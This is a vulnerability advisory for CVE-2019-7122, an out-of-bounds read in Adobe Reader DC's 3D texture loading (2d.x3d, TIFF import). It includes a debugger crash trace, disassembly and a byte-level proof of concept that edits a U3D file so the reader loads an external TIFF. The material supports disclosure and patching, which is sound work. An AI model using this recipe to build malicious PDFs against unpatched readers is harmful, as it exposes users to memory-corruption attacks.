CVE: CVE-2019-7122

Tested Versions:

  • Adobe Reader DC 2019.010.20064

Product URL(s):

Description of the vulnerability

Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF). It provides compatibility to the ECMA-363 Standard (Universal 3D File Format) via 3difr.x3d, 2d.x3d and rt3d.dll, which allow viewing embedded 3D contents in PDF files. The ECMA-363 standard allows external texture images to be encoded with the Texture Resource Declaration Block, with options to load either JPEG/PNG images embedded in the PDF file, or other image types from the local file system. These external image formats include TGA, TIFF, PIC, GIF, BMP, PCX, PPM, IFF, FLI/FLC, RGB, PSD, RLE and CEL. The 2d.x3d module is activated when the users choose to enable 3D content display.

Vulnerabilities in this module do not affect a default installation, however, in certain industry sectors that have frequent exchange of 3D PDF files (e.g., CAD designs), 3D contents may be enabled as default, leaving users vulnerable to this attack vector.

An out-of-bounds read can be observed in the context of the sandboxed process as the logged on user.

# The debugging and analysis were done on an Adobe Reader DC 2019.010.20064.
# The stack trace at crash site:

(a40.c44): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000d0d0 ebx=00000000 ecx=33740fe0 edx=28985000 esi=253d0fd0 edi=00000004
eip=65f9a679 esp=007db0e4 ebp=007db0f8 iopl=0         nv up ei ng nz ac po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010293
2d!png_set_filter_heuristics+0x721b:
65f9a679 668b02          mov     ax,word ptr [edx]        ds:002b:28985000=????

0:000> kb 10
 # ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 007db0f8 65f9a50d 1ba44d38 253d0fd0 65f9b092 2d!png_set_filter_heuristics+0x721b
01 007db12c 65f92aa3 2c006fa8 2535ee68 2b1f2fb0 2d!png_set_filter_heuristics+0x70af
02 007db140 66a8779f 00000006 2c006fa8 2535ee68 2d!E3DLLFunc+0xbe5
03 007db160 66a4ae03 2df59f90 00000006 2c006fa8 rt3d!FILETYPE::Func2d+0x5e
04 007db5e8 66a49399 3310f5a8 007dbaa0 00000000 rt3d!PrepareRescale+0xac8
05 007db620 66a7c7fd 3310f5a8 007dbaa0 00000000 rt3d!GetPicture+0x2e
06 007db85c 66a7d50a 3310f5a8 007dbaa0 00000000 rt3d!EndPicturesCache+0x5352
07 007dbccc 66a7ca3f 3310f4e8 3310f5a8 007dc314 rt3d!EndPicturesCache+0x605f
08 007dc520 66a7ccfa 3310f4e8 00000000 2b1f2fb0 rt3d!EndPicturesCache+0x5594
09 007dc780 66a2fda1 22e8acb0 2b1f2fb0 00000000 rt3d!EndPicturesCache+0x584f
0a 007dc7a0 669b77ea 00000002 2b1f2fb0 1ddbf3a7 rt3d!e3_SCENE::MovePDVToCameraNode+0xfcd
0b 007dcc20 66983ebd 00000000 1b50efc8 00000000 rt3d!V4CUnloadRT+0x30b97
0c 007dcc38 6804c267 1b50efc8 00000000 007dcc8c rt3d+0x3ebd

The out-of-bounds read:

0:000> u eip la
2d!png_set_filter_heuristics+0x721b:
65f9a679 668b02          mov     ax,word ptr [edx]	// OOB Read
65f9a67c 66894104        mov     word ptr [ecx+4],ax
65f9a680 668b4202        mov     ax,word ptr [edx+2]	// OOB Read
65f9a684 66894102        mov     word ptr [ecx+2],ax
65f9a688 668b4204        mov     ax,word ptr [edx+4]	// OOB Read
65f9a68c 83c206          add     edx,6
65f9a68f 668901          mov     word ptr [ecx],ax
65f9a692 837e1004        cmp     dword ptr [esi+10h],4
65f9a696 750f            jne     2d!png_set_filter_heuristics+0x7249 (65f9a6a7)
65f9a698 668b02          mov     ax,word ptr [edx]	// OOB Read

The call stack near crash site is resolved as:

#0 TTIFFread::TifReadChunkyRGB(void)
#1 TTIFFread::Read(void)
#2 _LoadTIFF(e3_STREAM *, e3_PICTURE *, e3_CONTEXT *)
#3 TIFFImport(unsigned int, e3_STREAM *, e3_PICTURE *, e3_interface *)
#4 ...

With other combinations of values for the pointer operations, there may be additional implication beyond the OOB read and buffer mismanagement.

Proof of Concept

To load external image with shading_M.u3d:

000002f0: 28 7c 3f 00 00 00 00 00 14 ff ff ff 3c 00 00 00  (|?.........<...
00000300: 00 00 00 00 05 00 6c 69 6e 65 73 02 00 00 00 00  ......lines.....
00000310: 00 00 00 00 01 00 00 00 55 ff ff ff 1c 00 00 00  ........U.......
00000320: 00 00 00 00 05 00 6c 69 6e 65 73 00 01 00 00 00  ......lines.....
00000330: 01 00 00 0e 01 00 00 00 01 0e 00 00 52 dc 00 00  ............R...

The following modifications need to be made to the above block:

# Modify the containing Modifier Chain Block (0xFFFFFF14) length:
; shading_M.u3d: change data size field to 0x54 from 0x3C

# Texture Resource Declaration Block (0xFFFFFF55):
; shading_M.u3d: change data size field to 0x34 from 0x1A

# 2d.x3d Image Loading construction from shading_M.u3d
; 05 00 6c 69 6e 65 73       // Texture Name String: "lines"
; 00 01 00 00                // U32: Texture Height
; 00 01 00 00                // U32: Texture Width
; 0e                         // U8: Texture Image Type: 0x0E color RGB
; 01 00 00 00                // U32: Continuationi Image Count
;                            // Now the Continuation Image Format record
; 01                         //    U8: Compression Type 0x01 JPEG-24
; 0e                         //    U8: Texture Image Channels
; 00 00                      //    U16: Continuation Image Attributes: default
; 52 dc 00 00                //    U32: Image Data Byte Count

# Modify to the following:
; 05 00 6c 69 6e 65 73       // Texture Name String: "lines"
; 00 01 00 00                // U32: Texture Height 
; 00 01 00 00                // U32: Texture Width 
; 0e                         // U8: Texture Image Type: 0x0E color RGB 
; 01 00 00 00                // U32: Continuationi Image Count 
;                            // Now the Continuation Image Format record:
; 02                         //    U8: Compression Type 0x02 PNG
; 0e                         //    U8: Texture Image Channels
; 01 00                      //    U16: Continuation Image Attributes: external
; 01 00 00 00                //    U32: Image URL Count 1
;                            //    0x16 bytes string "httpAAAAAAAsynAA12.tif"
; 16 00 68 74 74 70 41 41 41 41 41 41 41 73 79 6e 41 41 31 32 2e 74 69 66

Timeline:

  • 2019-01-25 Vendor disclosure
  • 2019-04-09 Vendor patched

Vendor Response

The vendor has acknowledged the issue and released an update to address it.

The vendor’s advisory can be found here: APSB19-17.